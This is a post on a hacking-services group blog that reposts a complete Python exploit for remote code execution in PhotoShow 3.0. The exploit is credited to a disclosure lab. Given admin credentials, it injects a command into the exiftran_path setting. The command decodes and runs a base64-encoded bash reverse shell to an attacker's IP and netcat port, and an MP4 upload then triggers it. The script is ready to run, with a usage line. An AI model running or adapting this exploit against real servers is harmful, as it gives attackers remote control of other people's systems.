Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86386000

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: PhotoShow 3.0 - Remote Code Execution
# Date: January 11, 2023
# Exploit Author: LSCP Responsible Disclosure Lab
# Detailed Bug Description: https://lscp.llc/index.php/2021/07/19/how-white-box-hacking-works-remote-code-execution-and-stored-xss-in-photoshow-3-0/
# Vendor Homepage: https://github.com/thibaud-rohmer
# Software Link: https://github.com/thibaud-rohmer/PhotoShow
# Version: 3.0
# Tested on: Ubuntu 20.04 LTS

# creds of a user with admin privileges required

import sys
import requests
import base64
import urllib.parse


if(len(sys.argv)!=6):
	print('Usage: \n\tpython3 ' + sys.argv[0] + ' "login" ' +
	'"password" "target_ip" "attacker_ip" "attacker_nc_port"')
	quit()

login=sys.argv[1]
password=sys.argv[2]
targetIp = sys.argv[3]
attackerIp = sys.argv[4]
attackerNcPort = sys.argv[5]


def main():
	session = requests.Session()
	#login as admin user
	logInSession(session, targetIp, login, password)
	#change application behaviour for handling .mp4 video
	uploadExpoit(session, targetIp, attackerIp, attackerNcPort)
	#send the shell to attaker's nc by uploading .mp4 video
	sendMP4Video(session, targetIp)
	print("Check your netcat")

def logInSession(session, targetIp, login, password):
	session.headers.update({'Content-Type' : "application/x-www-form-urlencoded"})
	data = "login="+login+"&password="+password
	url = "http://"+targetIp+"/?t=Login"
	response= session.post(url, data=data)
	phpsessid=response.headers.get("Set-Cookie").split(";")[0]
	session.headers.update({'Cookie' : phpsessid})


def uploadExpoit(session, targetIp, attackerIp, attackerNcPort):
	exiftranPathInjection=createInjection(attackerIp, attackerNcPort)
	url = "http://"+targetIp+"/?t=Adm&a=Set"
	data = "name=PhotoShow&site_address=&loc=default.ini&user_theme=Default&" \
	+ "rss=on&max_comments=50&thumbs_size=200&fbappid=&ffmpeg_path=&encode_video=on&"\
	+ "ffmpeg_option=-threads+4+-vcodec+libx264+-acodec+libfdk_aac&rotate_image=on&"\
	+ exiftranPathInjection
	session.post(url, data=data).content.decode('utf8')


def createInjection(attakerIp, attackerNcPort):
	textToEncode = "bash -i >& /dev/tcp/"+attackerIp+"/"+attackerNcPort+" 0>&1"
	b64Encoded = base64.b64encode(textToEncode.encode("ascii"))
	strb64 = str(b64Encoded)
	strb64 = strb64[2:len(strb64)-1]
	injection = {"exiftran_path":"echo "+ strb64 +" | base64 -d > /tmp/1.sh ;/bin/bash /tmp/1.sh"}
	return urllib.parse.urlencode(injection)

def sendMP4Video(session, targetIp):
	session.headers.update({'Content-Type' : "multipart/form-data; "\
	+"boundary=---------------------------752343701418612422363028651"})
	url = "http://"+targetIp+"/?a=Upl"
	data = """-----------------------------752343701418612422363028651\r
Content-Disposition: form-data; name="path"\r
\r
\r
-----------------------------752343701418612422363028651\r
Content-Disposition: form-data; name="inherit"\r
\r
1\r
-----------------------------752343701418612422363028651\r
Content-Disposition: form-data; name="images[]"; filename="a.mp4"\r
Content-Type: video/mp4\r
\r
a\r
-----------------------------752343701418612422363028651--\r
"""
	try:
		session.post(url, data=data, timeout=0.001)
	except requests.exceptions.ReadTimeout:
		pass


if __name__ =="__main__":
	main()